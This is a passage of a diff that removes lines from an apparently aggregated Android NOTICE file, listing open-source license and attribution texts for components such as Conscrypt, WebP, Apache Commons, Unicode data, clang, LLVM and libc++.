-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/conscrypt/NOTICE
-
-Copyright 2016 The Android Open Source Project
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-     http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
-
------------------------------------------------------------------------
-This product contains a modified portion of `Netty`, a configurable network
-stack in Java, which can be obtained at:
-
-  * LICENSE:
-    * licenses/LICENSE.netty.txt (Apache License 2.0)
-  * HOMEPAGE:
-    * http://netty.io/
-
-This product contains a modified portion of `Apache Harmony`, modular Java runtime,
-which can be obtained at:
-
-  * LICENSE:
-    * licenses/LICENSE.harmony.txt (Apache License 2.0)
-  * HOMEPAGE:
-    * https://harmony.apache.org/
-
-======================================================================
-external/webp/NOTICE
-
-Copyright (c) 2010, Google Inc. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-  * Redistributions of source code must retain the above copyright
-    notice, this list of conditions and the following disclaimer.
-
-  * Redistributions in binary form must reproduce the above copyright
-    notice, this list of conditions and the following disclaimer in
-    the documentation and/or other materials provided with the
-    distribution.
-
-  * Neither the name of Google nor the names of its contributors may
-    be used to endorse or promote products derived from this software
-    without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-======================================================================
-frameworks/base/NOTICE
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Android-specific code.                        ==
-   =========================================================================
-
-Android Code
-Copyright 2005-2008 The Android Open Source Project
-
-This product includes software developed as part of
-The Android Open Source Project (http://source.android.com).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Apache Commons code.                              ==
-   =========================================================================
-
-Apache Commons
-Copyright 1999-2006 The Apache Software Foundation
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Jakarta Commons Logging.                          ==
-   =========================================================================
-
-Jakarta Commons Logging (JCL)
-Copyright 2005,2006 The Apache Software Foundation.
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Nuance code.                                  ==
-   =========================================================================
-
-These files are Copyright 2007 Nuance Communications, but released under
-the Apache2 License.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Media Codecs code.                            ==
-   =========================================================================
-
-Media Codecs
-These files are Copyright 1998 - 2009 PacketVideo, but released under
-the Apache2 License.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the mDnsResponder code.                           ==
-   =========================================================================
-
-mDnsResponder TXTRecord
-This file is Copyright 2004 Apple Computer, Inc.  but released under
-the Apache2 License.
-
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the TagSoup code.                                 ==
-   =========================================================================
-
-This file is part of TagSoup and is Copyright 2002-2008 by John Cowan.
-
-TagSoup is licensed under the Apache License,
-Version 2.0.  You may obtain a copy of this license at
-http://www.apache.org/licenses/LICENSE-2.0 .  You may also have
-additional legal rights not granted by this license.
-
-TagSoup is distributed in the hope that it will be useful, but
-unless required by applicable law or agreed to in writing, TagSoup
-is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
-OF ANY KIND, either express or implied; not even the implied warranty
-of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for Additional Codecs code.                           ==
-   =========================================================================
-
-Additional Codecs
-These files are Copyright 2003-2010 VisualOn, but released under
-the Apache2 License.
-
-  =========================================================================
-  ==  NOTICE file corresponding to the section 4 d of                    ==
-  ==  the Apache License, Version 2.0,                                   ==
-  ==  in this case for the Audio Effects code.                           ==
-  =========================================================================
-
-Audio Effects
-These files are Copyright (C) 2004-2010 NXP Software and
-Copyright (C) 2010 The Android Open Source Project, but released under
-the Apache2 License.
-
-
-                               Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-
-UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
-
-Unicode Data Files include all data files under the directories
-http://www.unicode.org/Public/, http://www.unicode.org/reports/,
-and http://www.unicode.org/cldr/data/ . Unicode Software includes any
-source code published in the Unicode Standard or under the directories
-http://www.unicode.org/Public/, http://www.unicode.org/reports/, and
-http://www.unicode.org/cldr/data/.
-
-NOTICE TO USER: Carefully read the following legal agreement. BY
-DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA
-FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY
-ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF
-THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY,
-DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
-
-COPYRIGHT AND PERMISSION NOTICE
-
-Copyright © 1991-2008 Unicode, Inc. All rights reserved. Distributed
-under the Terms of Use in http://www.unicode.org/copyright.html.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Unicode data files and any associated documentation (the
-"Data Files") or Unicode software and any associated documentation (the
-"Software") to deal in the Data Files or Software without restriction,
-including without limitation the rights to use, copy, modify, merge,
-publish, distribute, and/or sell copies of the Data Files or Software,
-and to permit persons to whom the Data Files or Software are furnished to
-do so, provided that (a) the above copyright notice(s) and this permission
-notice appear with all copies of the Data Files or Software, (b) both the
-above copyright notice(s) and this permission notice appear in associated
-documentation, and (c) there is clear notice in each modified Data File
-or in the Software as well as in the documentation associated with the
-Data File(s) or Software that the data or software has been modified.
-
-THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
-ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
-INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT
-OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
-OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE
-OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale, use
-or other dealings in these Data Files or Software without prior written
-authorization of the copyright holder.
-
-======================================================================
-frameworks/compile/slang/NOTICE
-
-=========================
-NOTICE file for slang.git
-=========================
-
-   Copyright (c) 2005-2011, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-
-===========================================
-NOTICE file for external/clang (clang.git).
-Note: libclang*.a are statically linked.
-===========================================
-
-==============================================================================
-LLVM Release License
-==============================================================================
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2007-2011 University of Illinois at Urbana-Champaign.
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-The LLVM software contains code written by third parties.  Such software will
-have its own individual LICENSE.TXT file in the directory in which it appears.
-This file will describe the copyrights, license, and restrictions which apply
-to that code.
-
-The disclaimer of warranty in the University of Illinois Open Source License
-applies to all code in the LLVM Distribution, and nothing in any of the
-other licenses gives permission to use the names of the LLVM Team or the
-University of Illinois to endorse or promote products derived from this
-Software.
-
-The following pieces of software have additional or alternate copyrights,
-licenses, and/or restrictions:
-
-Program             Directory
--------             ---------
-<none yet>
-
-
-
-=========================================
-NOTICE file for external/llvm (llvm.git).
-Note: libLLVM*.a are statically linked.
-=========================================
-
-==============================================================================
-LLVM Release License
-==============================================================================
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2003-2011 University of Illinois at Urbana-Champaign.
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-Copyrights and Licenses for Third Party Software Distributed with LLVM:
-==============================================================================
-The LLVM software contains code written by third parties.  Such software will
-have its own individual LICENSE.TXT file in the directory in which it appears.
-This file will describe the copyrights, license, and restrictions which apply
-to that code.
-
-The disclaimer of warranty in the University of Illinois Open Source License
-applies to all code in the LLVM Distribution, and nothing in any of the
-other licenses gives permission to use the names of the LLVM Team or the
-University of Illinois to endorse or promote products derived from this
-Software.
-
-The following pieces of software have additional or alternate copyrights,
-licenses, and/or restrictions:
-
-Program             Directory
--------             ---------
-Autoconf            llvm/autoconf
-                    llvm/projects/ModuleMaker/autoconf
-                    llvm/projects/sample/autoconf
-CellSPU backend     llvm/lib/Target/CellSPU/README.txt
-Google Test         llvm/utils/unittest/googletest
-OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
-
-======================================================================
-external/libcxx/NOTICE
-
-==============================================================================
-libc++ License
-==============================================================================
-
-The libc++ library is dual licensed under both the University of Illinois
-"BSD-Like" license and the MIT license.  As a user of this code you may choose
-to use it under either license.  As a contributor, you agree to allow your code
-to be used under both.
-
-Full text of the relevant licenses is included below.
-
-==============================================================================
-
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2009-2017 by the contributors listed in CREDITS.TXT
-
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-
-Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
